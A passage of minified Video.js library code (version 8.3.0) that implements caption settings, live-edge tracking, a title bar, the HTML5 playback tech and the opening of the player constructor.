aria-labelledby="${s}">`].concat(n.options.map((e=>{const t=r+"-"+e[1].replace(/\W+/g,"");return[`<option id="${t}" value="${e[0]}" `,`aria-labelledby="${s} ${t}">`,this.localize(e[1]),"</option>"].join("")}))).concat("</select>").join("")}createElFgColor_(){const e=`captions-text-legend-${this.id_}`;return['<fieldset class="vjs-fg vjs-track-setting">',`<legend id="${e}">`,this.localize("Text"),"</legend>",'<span class="vjs-text-color">',this.createElSelect_("color",e),"</span>",'<span class="vjs-text-opacity vjs-opacity">',this.createElSelect_("textOpacity",e),"</span>","</fieldset>"].join("")}createElBgColor_(){const e=`captions-background-${this.id_}`;return['<fieldset class="vjs-bg vjs-track-setting">',`<legend id="${e}">`,this.localize("Text Background"),"</legend>",'<span class="vjs-bg-color">',this.createElSelect_("backgroundColor",e),"</span>",'<span class="vjs-bg-opacity vjs-opacity">',this.createElSelect_("backgroundOpacity",e),"</span>","</fieldset>"].join("")}createElWinColor_(){const e=`captions-window-${this.id_}`;return['<fieldset class="vjs-window vjs-track-setting">',`<legend id="${e}">`,this.localize("Caption Area Background"),"</legend>",'<span class="vjs-window-color">',this.createElSelect_("windowColor",e),"</span>",'<span class="vjs-window-opacity vjs-opacity">',this.createElSelect_("windowOpacity",e),"</span>","</fieldset>"].join("")}createElColors_(){return si("div",{className:"vjs-track-settings-colors",innerHTML:[this.createElFgColor_(),this.createElBgColor_(),this.createElWinColor_()].join("")})}createElFont_(){return si("div",{className:"vjs-track-settings-font",innerHTML:['<fieldset class="vjs-font-percent vjs-track-setting">',this.createElSelect_("fontPercent","","legend"),"</fieldset>",'<fieldset class="vjs-edge-style vjs-track-setting">',this.createElSelect_("edgeStyle","","legend"),"</fieldset>",'<fieldset class="vjs-font-family vjs-track-setting">',this.createElSelect_("fontFamily","","legend"),"</fieldset>"].join("")})}createElControls_(){const e=this.localize("restore all settings to the default values");return si("div",{className:"vjs-track-settings-controls",innerHTML:[`<button type="button" class="vjs-default-button" title="${e}">`,this.localize("Reset"),`<span class="vjs-control-text"> ${e}</span>`,"</button>",`<button type="button" class="vjs-done-button">${this.localize("Done")}</button>`].join("")})}content(){return[this.createElColors_(),this.createElFont_(),this.createElControls_()]}label(){return this.localize("Caption Settings Dialog")}description(){return this.localize("Beginning of dialog window. Escape will cancel and close the window.")}buildCSSClass(){return super.buildCSSClass()+" vjs-text-track-settings"}getValues(){return Ct(Ns,((e,t,i)=>{const n=(r=this.$(t.selector),s=t.parser,Rs(r.options[r.options.selectedIndex].value,s));var r,s;return void 0!==n&&(e[i]=n),e}),{})}setValues(e){Lt(Ns,((t,i)=>{!function(e,t,i){if(t)for(let n=0;n<e.options.length;n++)if(Rs(e.options[n].value,i)===t){e.selectedIndex=n;break}}(this.$(t.selector),e[i],t.parser)}))}setDefaults(){Lt(Ns,(e=>{const t=e.hasOwnProperty("default")?e.default:0;this.$(e.selector).selectedIndex=t}))}restoreSettings(){let e;try{e=JSON.parse(r().localStorage.getItem(xs))}catch(e){kt.warn(e)}e&&this.setValues(e)}saveSettings(){if(!this.options_.persistTextTrackSettings)return;const e=this.getValues();try{Object.keys(e).length?r().localStorage.setItem(xs,JSON.stringify(e)):r().localStorage.removeItem(xs)}catch(e){kt.warn(e)}}updateDisplay(){const e=this.player_.getChild("textTrackDisplay");e&&e.updateDisplay()}conditionalBlur_(){this.previouslyActiveEl_=null;const e=this.player_.controlBar,t=e&&e.subsCapsButton,i=e&&e.captionsButton;t?t.focus():i&&i.focus()}handleLanguagechange(){this.fill()}}),Sn.registerComponent("ResizeManager",class extends Sn{constructor(e,t){let i=t.ResizeObserver||r().ResizeObserver;null===t.ResizeObserver&&(i=!1),super(e,Pt({createEl:!i,reportTouchActivity:!1},t)),this.ResizeObserver=t.ResizeObserver||r().ResizeObserver,this.loadListener_=null,this.resizeObserver_=null,this.debouncedHandler_=rn((()=>{this.resizeHandler()}),100,!1,this),i?(this.resizeObserver_=new this.ResizeObserver(this.debouncedHandler_),this.resizeObserver_.observe(e.el())):(this.loadListener_=()=>{if(!this.el_||!this.el_.contentWindow)return;const e=this.debouncedHandler_;let t=this.unloadListener_=function(){Gi(this,"resize",e),Gi(this,"unload",t),t=null};Ji(this.el_.contentWindow,"unload",t),Ji(this.el_.contentWindow,"resize",e)},this.one("load",this.loadListener_))}createEl(){return super.createEl("iframe",{className:"vjs-resize-manager",tabIndex:-1,title:this.localize("No content")},{"aria-hidden":"true"})}resizeHandler(){this.player_&&this.player_.trigger&&this.player_.trigger("playerresize")}dispose(){this.debouncedHandler_&&this.debouncedHandler_.cancel(),this.resizeObserver_&&(this.player_.el()&&this.resizeObserver_.unobserve(this.player_.el()),this.resizeObserver_.disconnect()),this.loadListener_&&this.off("load",this.loadListener_),this.el_&&this.el_.contentWindow&&this.unloadListener_&&this.unloadListener_.call(this.el_.contentWindow),this.ResizeObserver=null,this.resizeObserver=null,this.debouncedHandler_=null,this.loadListener_=null,super.dispose()}});const Hs={trackingThreshold:20,liveTolerance:15};Sn.registerComponent("LiveTracker",class extends Sn{constructor(e,t){super(e,Pt(Hs,t,{createEl:!1})),this.trackLiveHandler_=()=>this.trackLive_(),this.handlePlay_=e=>this.handlePlay(e),this.handleFirstTimeupdate_=e=>this.handleFirstTimeupdate(e),this.handleSeeked_=e=>this.handleSeeked(e),this.seekToLiveEdge_=e=>this.seekToLiveEdge(e),this.reset_(),this.on(this.player_,"durationchange",(e=>this.handleDurationchange(e))),this.on(this.player_,"canplay",(()=>this.toggleTracking()))}trackLive_(){const e=this.player_.seekable();if(!e||!e.length)return;const t=Number(r().performance.now().toFixed(4)),i=-1===this.lastTime_?0:(t-this.lastTime_)/1e3;this.lastTime_=t,this.pastSeekEnd_=this.pastSeekEnd()+i;const n=this.liveCurrentTime(),s=this.player_.currentTime();let a=this.player_.paused()||this.seekedBehindLive_||Math.abs(n-s)>this.options_.liveTolerance;this.timeupdateSeen_&&n!==1/0||(a=!1),a!==this.behindLiveEdge_&&(this.behindLiveEdge_=a,this.trigger("liveedgechange"))}handleDurationchange(){this.toggleTracking()}toggleTracking(){this.player_.duration()===1/0&&this.liveWindow()>=this.options_.trackingThreshold?(this.player_.options_.liveui&&this.player_.addClass("vjs-liveui"),this.startTracking()):(this.player_.removeClass("vjs-liveui"),this.stopTracking())}startTracking(){this.isTracking()||(this.timeupdateSeen_||(this.timeupdateSeen_=this.player_.hasStarted()),this.trackingInterval_=this.setInterval(this.trackLiveHandler_,30),this.trackLive_(),this.on(this.player_,["play","pause"],this.trackLiveHandler_),this.timeupdateSeen_?this.on(this.player_,"seeked",this.handleSeeked_):(this.one(this.player_,"play",this.handlePlay_),this.one(this.player_,"timeupdate",this.handleFirstTimeupdate_)))}handleFirstTimeupdate(){this.timeupdateSeen_=!0,this.on(this.player_,"seeked",this.handleSeeked_)}handleSeeked(){const e=Math.abs(this.liveCurrentTime()-this.player_.currentTime());this.seekedBehindLive_=this.nextSeekedFromUser_&&e>2,this.nextSeekedFromUser_=!1,this.trackLive_()}handlePlay(){this.one(this.player_,"timeupdate",this.seekToLiveEdge_)}reset_(){this.lastTime_=-1,this.pastSeekEnd_=0,this.lastSeekEnd_=-1,this.behindLiveEdge_=!0,this.timeupdateSeen_=!1,this.seekedBehindLive_=!1,this.nextSeekedFromUser_=!1,this.clearInterval(this.trackingInterval_),this.trackingInterval_=null,this.off(this.player_,["play","pause"],this.trackLiveHandler_),this.off(this.player_,"seeked",this.handleSeeked_),this.off(this.player_,"play",this.handlePlay_),this.off(this.player_,"timeupdate",this.handleFirstTimeupdate_),this.off(this.player_,"timeupdate",this.seekToLiveEdge_)}nextSeekedFromUser(){this.nextSeekedFromUser_=!0}stopTracking(){this.isTracking()&&(this.reset_(),this.trigger("liveedgechange"))}seekableEnd(){const e=this.player_.seekable(),t=[];let i=e?e.length:0;for(;i--;)t.push(e.end(i));return t.length?t.sort()[t.length-1]:1/0}seekableStart(){const e=this.player_.seekable(),t=[];let i=e?e.length:0;for(;i--;)t.push(e.start(i));return t.length?t.sort()[0]:0}liveWindow(){const e=this.liveCurrentTime();return e===1/0?0:e-this.seekableStart()}isLive(){return this.isTracking()}atLiveEdge(){return!this.behindLiveEdge()}liveCurrentTime(){return this.pastSeekEnd()+this.seekableEnd()}pastSeekEnd(){const e=this.seekableEnd();return-1!==this.lastSeekEnd_&&e!==this.lastSeekEnd_&&(this.pastSeekEnd_=0),this.lastSeekEnd_=e,this.pastSeekEnd_}behindLiveEdge(){return this.behindLiveEdge_}isTracking(){return"number"==typeof this.trackingInterval_}seekToLiveEdge(){this.seekedBehindLive_=!1,this.atLiveEdge()||(this.nextSeekedFromUser_=!1,this.player_.currentTime(this.liveCurrentTime()))}dispose(){this.stopTracking(),super.dispose()}}),Sn.registerComponent("TitleBar",class extends Sn{constructor(e,t){super(e,t),this.on("statechanged",(e=>this.updateDom_())),this.updateDom_()}createEl(){return this.els={title:si("div",{className:"vjs-title-bar-title",id:`vjs-title-bar-title-${Bi()}`}),description:si("div",{className:"vjs-title-bar-description",id:`vjs-title-bar-description-${Bi()}`})},si("div",{className:"vjs-title-bar"},{},Object.values(this.els))}updateDom_(){const e=this.player_.tech_,t=e&&e.el_,i={title:"aria-labelledby",description:"aria-describedby"};["title","description"].forEach((e=>{const n=this.state[e],r=this.els[e],s=i[e];ki(r),n&&ai(r,n),t&&(t.removeAttribute(s),n&&t.setAttribute(s,r.id))})),this.state.title||this.state.description?this.show():this.hide()}update(e){this.setState(e)}dispose(){const e=this.player_.tech_,t=e&&e.el_;t&&(t.removeAttribute("aria-labelledby"),t.removeAttribute("aria-describedby")),super.dispose(),this.els=null}});const Fs=e=>{const t=e.el();if(t.hasAttribute("src"))return e.triggerSourceset(t.src),!0;const i=e.$$("source"),n=[];let r="";if(!i.length)return!1;for(let e=0;e<i.length;e++){const t=i[e].src;t&&-1===n.indexOf(t)&&n.push(t)}return!!n.length&&(1===n.length&&(r=n[0]),e.triggerSourceset(r),!0)},Bs=Object.defineProperty({},"innerHTML",{get(){return this.cloneNode(!0).innerHTML},set(e){const t=a().createElement(this.nodeName.toLowerCase());t.innerHTML=e;const i=a().createDocumentFragment();for(;t.childNodes.length;)i.appendChild(t.childNodes[0]);return this.innerText="",r().Element.prototype.appendChild.call(this,i),this.innerHTML}}),Us=(e,t)=>{let i={};for(let n=0;n<e.length&&(i=Object.getOwnPropertyDescriptor(e[n],t),!(i&&i.set&&i.get));n++);return i.enumerable=!0,i.configurable=!0,i},Ws=function(e){const t=e.el();if(t.resetSourceWatch_)return;const i={},n=(e=>Us([e.el(),r().HTMLMediaElement.prototype,r().Element.prototype,Bs],"innerHTML"))(e),s=i=>(...n)=>{const r=i.apply(t,n);return Fs(e),r};["append","appendChild","insertAdjacentHTML"].forEach((e=>{t[e]&&(i[e]=t[e],t[e]=s(i[e]))})),Object.defineProperty(t,"innerHTML",Pt(n,{set:s(n.set)})),t.resetSourceWatch_=()=>{t.resetSourceWatch_=null,Object.keys(i).forEach((e=>{t[e]=i[e]})),Object.defineProperty(t,"innerHTML",n)},e.one("sourceset",t.resetSourceWatch_)},zs=Object.defineProperty({},"src",{get(){return this.hasAttribute("src")?Zn(r().Element.prototype.getAttribute.call(this,"src")):""},set(e){return r().Element.prototype.setAttribute.call(this,"src",e),e}});class qs extends dr{constructor(e,t){super(e,t);const i=e.source;let n=!1;if(this.featuresVideoFrameCallback=this.featuresVideoFrameCallback&&"VIDEO"===this.el_.tagName,i&&(this.el_.currentSrc!==i.src||e.tag&&3===e.tag.initNetworkState_)?this.setSource(i):this.handleLateInit_(this.el_),e.enableSourceset&&this.setupSourcesetHandling_(),this.isScrubbing_=!1,this.el_.hasChildNodes()){const e=this.el_.childNodes;let t=e.length;const i=[];for(;t--;){const r=e[t];"track"===r.nodeName.toLowerCase()&&(this.featuresNativeTextTracks?(this.remoteTextTrackEls().addTrackElement_(r),this.remoteTextTracks().addTrack(r.track),this.textTracks().addTrack(r.track),n||this.el_.hasAttribute("crossorigin")||!er(r.src)||(n=!0)):i.push(r))}for(let e=0;e<i.length;e++)this.el_.removeChild(i[e])}this.proxyNativeTracks_(),this.featuresNativeTextTracks&&n&&kt.warn("Text Tracks are being loaded from another origin but the crossorigin attribute isn't used.\nThis may prevent text tracks from loading."),this.restoreMetadataTracksInIOSNativePlayer_(),(Gt||Jt)&&!0===e.nativeControlsForTouch&&this.setControls(!0),this.proxyWebkitFullscreen_(),this.triggerReady()}dispose(){this.el_&&this.el_.resetSourceset_&&this.el_.resetSourceset_(),qs.disposeMediaElement(this.el_),this.options_=null,super.dispose()}setupSourcesetHandling_(){!function(e){if(!e.featuresSourceset)return;const t=e.el();if(t.resetSourceset_)return;const i=(e=>Us([e.el(),r().HTMLMediaElement.prototype,zs],"src"))(e),n=t.setAttribute,s=t.load;Object.defineProperty(t,"src",Pt(i,{set:n=>{const r=i.set.call(t,n);return e.triggerSourceset(t.src),r}})),t.setAttribute=(i,r)=>{const s=n.call(t,i,r);return/src/i.test(i)&&e.triggerSourceset(t.src),s},t.load=()=>{const i=s.call(t);return Fs(e)||(e.triggerSourceset(""),Ws(e)),i},t.currentSrc?e.triggerSourceset(t.currentSrc):Fs(e)||Ws(e),t.resetSourceset_=()=>{t.resetSourceset_=null,t.load=s,t.setAttribute=n,Object.defineProperty(t,"src",i),t.resetSourceWatch_&&t.resetSourceWatch_()}}(this)}restoreMetadataTracksInIOSNativePlayer_(){const e=this.textTracks();let t;const i=()=>{t=[];for(let i=0;i<e.length;i++){const n=e[i];"metadata"===n.kind&&t.push({track:n,storedMode:n.mode})}};i(),e.addEventListener("change",i),this.on("dispose",(()=>e.removeEventListener("change",i)));const n=()=>{for(let e=0;e<t.length;e++){const i=t[e];"disabled"===i.track.mode&&i.track.mode!==i.storedMode&&(i.track.mode=i.storedMode)}e.removeEventListener("change",n)};this.on("webkitbeginfullscreen",(()=>{e.removeEventListener("change",i),e.removeEventListener("change",n),e.addEventListener("change",n)})),this.on("webkitendfullscreen",(()=>{e.removeEventListener("change",i),e.addEventListener("change",i),e.removeEventListener("change",n)}))}overrideNative_(e,t){if(t!==this[`featuresNative${e}Tracks`])return;const i=e.toLowerCase();this[`${i}TracksListeners_`]&&Object.keys(this[`${i}TracksListeners_`]).forEach((e=>{this.el()[`${i}Tracks`].removeEventListener(e,this[`${i}TracksListeners_`][e])})),this[`featuresNative${e}Tracks`]=!t,this[`${i}TracksListeners_`]=null,this.proxyNativeTracksForType_(i)}overrideNativeAudioTracks(e){this.overrideNative_("Audio",e)}overrideNativeVideoTracks(e){this.overrideNative_("Video",e)}proxyNativeTracksForType_(e){const t=lr[e],i=this.el()[t.getterName],n=this[t.getterName]();if(!this[`featuresNative${t.capitalName}Tracks`]||!i||!i.addEventListener)return;const r={change:t=>{const i={type:"change",target:n,currentTarget:n,srcElement:n};n.trigger(i),"text"===e&&this[ur.remoteText.getterName]().trigger(i)},addtrack(e){n.addTrack(e.track)},removetrack(e){n.removeTrack(e.track)}},s=function(){const e=[];for(let t=0;t<n.length;t++){let r=!1;for(let e=0;e<i.length;e++)if(i[e]===n[t]){r=!0;break}r||e.push(n[t])}for(;e.length;)n.removeTrack(e.shift())};this[t.getterName+"Listeners_"]=r,Object.keys(r).forEach((e=>{const t=r[e];i.addEventListener(e,t),this.on("dispose",(n=>i.removeEventListener(e,t)))})),this.on("loadstart",s),this.on("dispose",(e=>this.off("loadstart",s)))}proxyNativeTracks_(){lr.names.forEach((e=>{this.proxyNativeTracksForType_(e)}))}createEl(){let e=this.options_.tag;if(!e||!this.options_.playerElIngest&&!this.movingMediaElementInDOM){if(e){const t=e.cloneNode(!0);e.parentNode&&e.parentNode.insertBefore(t,e),qs.disposeMediaElement(e),e=t}else{e=a().createElement("video");const t=Pt({},this.options_.tag&&pi(this.options_.tag));Gt&&!0===this.options_.nativeControlsForTouch||delete t.controls,hi(e,Object.assign(t,{id:this.options_.techId,class:"vjs-tech"}))}e.playerId=this.options_.playerId}void 0!==this.options_.preload&&mi(e,"preload",this.options_.preload),void 0!==this.options_.disablePictureInPicture&&(e.disablePictureInPicture=this.options_.disablePictureInPicture);const t=["loop","muted","playsinline","autoplay"];for(let i=0;i<t.length;i++){const n=t[i],r=this.options_[n];void 0!==r&&(r?mi(e,n,n):gi(e,n),e[n]=r)}return e}handleLateInit_(e){if(0===e.networkState||3===e.networkState)return;if(0===e.readyState){let e=!1;const t=function(){e=!0};this.on("loadstart",t);const i=function(){e||this.trigger("loadstart")};return this.on("loadedmetadata",i),void this.ready((function(){this.off("loadstart",t),this.off("loadedmetadata",i),e||this.trigger("loadstart")}))}const t=["loadstart"];t.push("loadedmetadata"),e.readyState>=2&&t.push("loadeddata"),e.readyState>=3&&t.push("canplay"),e.readyState>=4&&t.push("canplaythrough"),this.ready((function(){t.forEach((function(e){this.trigger(e)}),this)}))}setScrubbing(e){this.isScrubbing_=e}scrubbing(){return this.isScrubbing_}setCurrentTime(e){try{this.isScrubbing_&&this.el_.fastSeek&&Zt?this.el_.fastSeek(e):this.el_.currentTime=e}catch(e){kt(e,"Video is not ready. (Video.js)")}}duration(){if(this.el_.duration===1/0&&jt&&Ft&&0===this.el_.currentTime){const e=()=>{this.el_.currentTime>0&&(this.el_.duration===1/0&&this.trigger("durationchange"),this.off("timeupdate",e))};return this.on("timeupdate",e),NaN}return this.el_.duration||NaN}width(){return this.el_.offsetWidth}height(){return this.el_.offsetHeight}proxyWebkitFullscreen_(){if(!("webkitDisplayingFullscreen"in this.el_))return;const e=function(){this.trigger("fullscreenchange",{isFullscreen:!1}),this.el_.controls&&!this.options_.nativeControlsForTouch&&this.controls()&&(this.el_.controls=!1)},t=function(){"webkitPresentationMode"in this.el_&&"picture-in-picture"!==this.el_.webkitPresentationMode&&(this.one("webkitendfullscreen",e),this.trigger("fullscreenchange",{isFullscreen:!0,nativeIOSFullscreen:!0}))};this.on("webkitbeginfullscreen",t),this.on("dispose",(()=>{this.off("webkitbeginfullscreen",t),this.off("webkitendfullscreen",e)}))}supportsFullScreen(){return"function"==typeof this.el_.webkitEnterFullScreen}enterFullScreen(){const e=this.el_;if(e.paused&&e.networkState<=e.HAVE_METADATA)jn(this.el_.play()),this.setTimeout((function(){e.pause();try{e.webkitEnterFullScreen()}catch(e){this.trigger("fullscreenerror",e)}}),0);else try{e.webkitEnterFullScreen()}catch(e){this.trigger("fullscreenerror",e)}}exitFullScreen(){this.el_.webkitDisplayingFullscreen?this.el_.webkitExitFullScreen():this.trigger("fullscreenerror",new Error("The video is not fullscreen"))}requestPictureInPicture(){return this.el_.requestPictureInPicture()}requestVideoFrameCallback(e){return this.featuresVideoFrameCallback&&!this.el_.webkitKeys?this.el_.requestVideoFrameCallback(e):super.requestVideoFrameCallback(e)}cancelVideoFrameCallback(e){this.featuresVideoFrameCallback&&!this.el_.webkitKeys?this.el_.cancelVideoFrameCallback(e):super.cancelVideoFrameCallback(e)}src(e){if(void 0===e)return this.el_.src;this.setSrc(e)}reset(){qs.resetMediaElement(this.el_)}currentSrc(){return this.currentSource_?this.currentSource_.src:this.el_.currentSrc}setControls(e){this.el_.controls=!!e}addTextTrack(e,t,i){return this.featuresNativeTextTracks?this.el_.addTextTrack(e,t,i):super.addTextTrack(e,t,i)}createRemoteTextTrack(e){if(!this.featuresNativeTextTracks)return super.createRemoteTextTrack(e);const t=a().createElement("track");return e.kind&&(t.kind=e.kind),e.label&&(t.label=e.label),(e.language||e.srclang)&&(t.srclang=e.language||e.srclang),e.default&&(t.default=e.default),e.id&&(t.id=e.id),e.src&&(t.src=e.src),t}addRemoteTextTrack(e,t){const i=super.addRemoteTextTrack(e,t);return this.featuresNativeTextTracks&&this.el().appendChild(i),i}removeRemoteTextTrack(e){if(super.removeRemoteTextTrack(e),this.featuresNativeTextTracks){const t=this.$$("track");let i=t.length;for(;i--;)e!==t[i]&&e!==t[i].track||this.el().removeChild(t[i])}}getVideoPlaybackQuality(){if("function"==typeof this.el().getVideoPlaybackQuality)return this.el().getVideoPlaybackQuality();const e={};return void 0!==this.el().webkitDroppedFrameCount&&void 0!==this.el().webkitDecodedFrameCount&&(e.droppedVideoFrames=this.el().webkitDroppedFrameCount,e.totalVideoFrames=this.el().webkitDecodedFrameCount),r().performance&&(e.creationTime=r().performance.now()),e}}At(qs,"TEST_VID",(function(){if(!ti())return;const e=a().createElement("video"),t=a().createElement("track");return t.kind="captions",t.srclang="en",t.label="English",e.appendChild(t),e})),qs.isSupported=function(){try{qs.TEST_VID.volume=.5}catch(e){return!1}return!(!qs.TEST_VID||!qs.TEST_VID.canPlayType)},qs.canPlayType=function(e){return qs.TEST_VID.canPlayType(e)},qs.canPlaySource=function(e,t){return qs.canPlayType(e.type)},qs.canControlVolume=function(){try{const e=qs.TEST_VID.volume;qs.TEST_VID.volume=e/2+.1;const t=e!==qs.TEST_VID.volume;return t&&Xt?(r().setTimeout((()=>{qs&&qs.prototype&&(qs.prototype.featuresVolumeControl=e!==qs.TEST_VID.volume)})),!1):t}catch(e){return!1}},qs.canMuteVolume=function(){try{const e=qs.TEST_VID.muted;return qs.TEST_VID.muted=!e,qs.TEST_VID.muted?mi(qs.TEST_VID,"muted","muted"):gi(qs.TEST_VID,"muted"),e!==qs.TEST_VID.muted}catch(e){return!1}},qs.canControlPlaybackRate=function(){if(jt&&Ft&&Ut<58)return!1;try{const e=qs.TEST_VID.playbackRate;return qs.TEST_VID.playbackRate=e/2+.1,e!==qs.TEST_VID.playbackRate}catch(e){return!1}},qs.canOverrideAttributes=function(){try{const e=()=>{};Object.defineProperty(a().createElement("video"),"src",{get:e,set:e}),Object.defineProperty(a().createElement("audio"),"src",{get:e,set:e}),Object.defineProperty(a().createElement("video"),"innerHTML",{get:e,set:e}),Object.defineProperty(a().createElement("audio"),"innerHTML",{get:e,set:e})}catch(e){return!1}return!0},qs.supportsNativeTextTracks=function(){return Zt||Xt&&Ft},qs.supportsNativeVideoTracks=function(){return!(!qs.TEST_VID||!qs.TEST_VID.videoTracks)},qs.supportsNativeAudioTracks=function(){return!(!qs.TEST_VID||!qs.TEST_VID.audioTracks)},qs.Events=["loadstart","suspend","abort","error","emptied","stalled","loadedmetadata","loadeddata","canplay","canplaythrough","playing","waiting","seeking","seeked","ended","durationchange","timeupdate","progress","play","pause","ratechange","resize","volumechange"],[["featuresMuteControl","canMuteVolume"],["featuresPlaybackRate","canControlPlaybackRate"],["featuresSourceset","canOverrideAttributes"],["featuresNativeTextTracks","supportsNativeTextTracks"],["featuresNativeVideoTracks","supportsNativeVideoTracks"],["featuresNativeAudioTracks","supportsNativeAudioTracks"]].forEach((function([e,t]){At(qs.prototype,e,(()=>qs[t]()),!0)})),qs.prototype.featuresVolumeControl=qs.canControlVolume(),qs.prototype.movingMediaElementInDOM=!Xt,qs.prototype.featuresFullscreenResize=!0,qs.prototype.featuresProgressEvents=!0,qs.prototype.featuresTimeupdateEvents=!0,qs.prototype.featuresVideoFrameCallback=!(!qs.TEST_VID||!qs.TEST_VID.requestVideoFrameCallback),qs.disposeMediaElement=function(e){if(e){for(e.parentNode&&e.parentNode.removeChild(e);e.hasChildNodes();)e.removeChild(e.firstChild);e.removeAttribute("src"),"function"==typeof e.load&&function(){try{e.load()}catch(e){}}()}},qs.resetMediaElement=function(e){if(!e)return;const t=e.querySelectorAll("source");let i=t.length;for(;i--;)e.removeChild(t[i]);e.removeAttribute("src"),"function"==typeof e.load&&function(){try{e.load()}catch(e){}}()},["muted","defaultMuted","autoplay","controls","loop","playsinline"].forEach((function(e){qs.prototype[e]=function(){return this.el_[e]||this.el_.hasAttribute(e)}})),["muted","defaultMuted","autoplay","loop","playsinline"].forEach((function(e){qs.prototype["set"+wn(e)]=function(t){this.el_[e]=t,t?this.el_.setAttribute(e,e):this.el_.removeAttribute(e)}})),["paused","currentTime","buffered","volume","poster","preload","error","seeking","seekable","ended","playbackRate","defaultPlaybackRate","disablePictureInPicture","played","networkState","readyState","videoWidth","videoHeight","crossOrigin"].forEach((function(e){qs.prototype[e]=function(){return this.el_[e]}})),["volume","src","poster","preload","playbackRate","defaultPlaybackRate","disablePictureInPicture","crossOrigin"].forEach((function(e){qs.prototype["set"+wn(e)]=function(t){this.el_[e]=t}})),["pause","load","play"].forEach((function(e){qs.prototype[e]=function(){return this.el_[e]()}})),dr.withSourceHandlers(qs),qs.nativeSourceHandler={},qs.nativeSourceHandler.canPlayType=function(e){try{return qs.TEST_VID.canPlayType(e)}catch(e){return""}},qs.nativeSourceHandler.canHandleSource=function(e,t){if(e.type)return qs.nativeSourceHandler.canPlayType(e.type);if(e.src){const t=Qn(e.src);return qs.nativeSourceHandler.canPlayType(`video/${t}`)}return""},qs.nativeSourceHandler.handleSource=function(e,t,i){t.setSrc(e.src)},qs.nativeSourceHandler.dispose=function(){},qs.registerSourceHandler(qs.nativeSourceHandler),dr.registerTech("Html5",qs);const Vs=["progress","abort","suspend","emptied","stalled","loadedmetadata","loadeddata","timeupdate","resize","volumechange","texttrackchange"],Js={canplay:"CanPlay",canplaythrough:"CanPlayThrough",playing:"Playing",seeked:"Seeked"},Gs=["tiny","xsmall","small","medium","large","xlarge","huge"],Ks={};Gs.forEach((e=>{const t="x"===e.charAt(0)?`x-${e.substring(1)}`:e;Ks[e]=`vjs-layout-${t}`}));const Xs={tiny:210,xsmall:320,small:425,medium:768,large:1440,xlarge:2560,huge:1/0};class Zs extends Sn{constructor(e,t,i){if(e.id=e.id||t.id||`vjs_video_${Bi()}`,(t=Object.assign(Zs.getTagSettings(e),t)).initChildren=!1,t.createEl=!1,t.evented=!1,t.reportTouchActivity=!1,!t.language){const i=e.closest("[lang]");i&&(t.language=i.getAttribute("lang"))}if(super(null,t,i),this.boundDocumentFullscreenChange_=e=>this.documentFullscreenChange_(e),this.boundFullWindowOnEscKey_=e=>this.fullWindowOnEscKey(e),this.boundUpdateStyleEl_=e=>this.updateStyleEl_(e),this.boundApplyInitTime_=e=>this.applyInitTime_(e),this.boundUpdateCurrentBreakpoint_=e=>this.updateCurrentBreakpoint_(e),this.boundHandleTechClick_=e=>this.handleTechClick_(e),this.boundHandleTechDoubleClick_=e=>this.handleTechDoubleClick_(e),this.boundHandleTechTouchStart_=e=>this.handleTechTouchStart_(e),this.boundHandleTechTouchMove_=e=>this.handleTechTouchMove_(e),this.boundHandleTechTouchEnd_=e=>this.handleTechTouchEnd_(e),this.boundHandleTechTap_=e=>this.handleTechTap_(e),this.isFullscreen_=!1,this.log=St(this.id_),this.fsApi_=vt,this.isPosterFromTech_=!1,this.queuedCallbacks_=[],this.isReady_=!1,this.hasStarted_=!1,this.userActive_=!1,this.debugEnabled_=!1,this.audioOnlyMode_=!1,this.audioPosterMode_=!1,this.audioOnlyCache_={playerHeight:null,hiddenChildren:[]},!this.options_||!this.options_.techOrder||!this.options_.techOrder.length)throw new Error("No techOrder specified. Did you overwrite videojs.options instead of just changing the properties you want to override?");if(this.tag=e,this.tagAttributes=e&&pi(e),this.language(this.options_.language),t.languages){const e={};Object.getOwnPropertyNames(t.languages).forEach((function(i){e[i.toLowerCase()]=t.languages[i]})),this.languages_=e}else this.languages_=Zs.prototype.options_.languages;this.resetCache_(),this.poster_=t.poster||"",this.controls_=!!t.controls,e.controls=!1,e.removeAttribute("controls"),this.changingSrc_=!1,this.playCallbacks_=[],this.playTerminatedQueue_=[],e.hasAttribute("autoplay")?this.autoplay(!0):this.autoplay(this.options_.autoplay),t.plugins&&Object.keys(t.plugins).forEach((e=>{if("function"!=typeof this[e])throw new Error(`plugin "${e}" does not exist`)})),this.scrubbing_=!1,this.el_=this.createEl(),_n(this,{eventBusKey:"el_"}),this.fsApi_.requestFullscreen&&(Ji(a(),this.fsApi_.fullscreenchange,this.boundDocumentFullscreenChange_),this.on(this.fsApi_.fullscreenchange,this.boundDocumentFullscreenChange_)),this.fluid_&&this.on(["playerreset","resize"],this.boundUpdateStyleEl_);const n=Pt(this.options_);t.plugins&&Object.keys(t.plugins).forEach((e=>{this[e](t.plugins[e])})),t.debug&&this.debug(!0),this.options_.playerOptions=n,this.middleware_=[],this.playbackRates(t.playbackRates),this.initChildren(),this.isAudio("audio"===e.nodeName.toLowerCase()),this.controls()?this.addClass("vjs-controls-enabled"):this.addClass("vjs-controls-disabled"),this.el_.setAttribute("role","region"),this.isAudio()?this.el_.setAttribute("aria-label",this.localize("Audio Player")):this.el_.setAttribute("aria-label",this.localize("Video Player")),this.isAudio()&&this.addClass("vjs-audio"),Gt&&this.addClass("vjs-touch-enabled"),Xt||this.addClass("vjs-workinghover"),Zs.players[this.id_]=this;const r="8.3.0".split(".")[0];this.addClass(`vjs-v${r}`),this.userActive(!0),this.reportUserActivity(),this.one("play",(e=>this.listenForUserActivity_(e))),this.on("keydown",(e=>this.handleKeyDown(e))),this.on("languagechange",(e=>this.handleLanguagechange(e))),this.breakpoints(this.options_.breakpoints),this.responsive(this.options_.responsive),this.on("ready",(()=>{this.audioPosterMode(this.options_.audioPosterMode),this.audioOnlyMode(this.options_.audioOnlyMode)}))}dispose(){this.trigger("dispose"),this.off("dispose"),Gi(a(),this.fsApi_.fullscreenchange,this.boundDocumentFullscreenChange_),Gi(a(),"keydown",this.boundFullWindowOnEscKey_),this.styleEl_&&this.styleEl_.parentNode&&(this.styleEl_.parentNode.removeChild(this.styleEl_),this.styleEl_=null),Zs.players[this.id_]=null,this.tag&&this.tag.player&&(this.tag.player=null),this.el_&&this.el_.player&&(this.el_.player=null),this.tech_&&(this.tech_.dispose(),this.isPosterFromTech_=!1,this.poster_=""),this.playerElIngest_&&(this.playerElIngest_=null),this.tag&&(this.tag=null),pr[this.id()]=null,cr.names.forEach((e=>{const 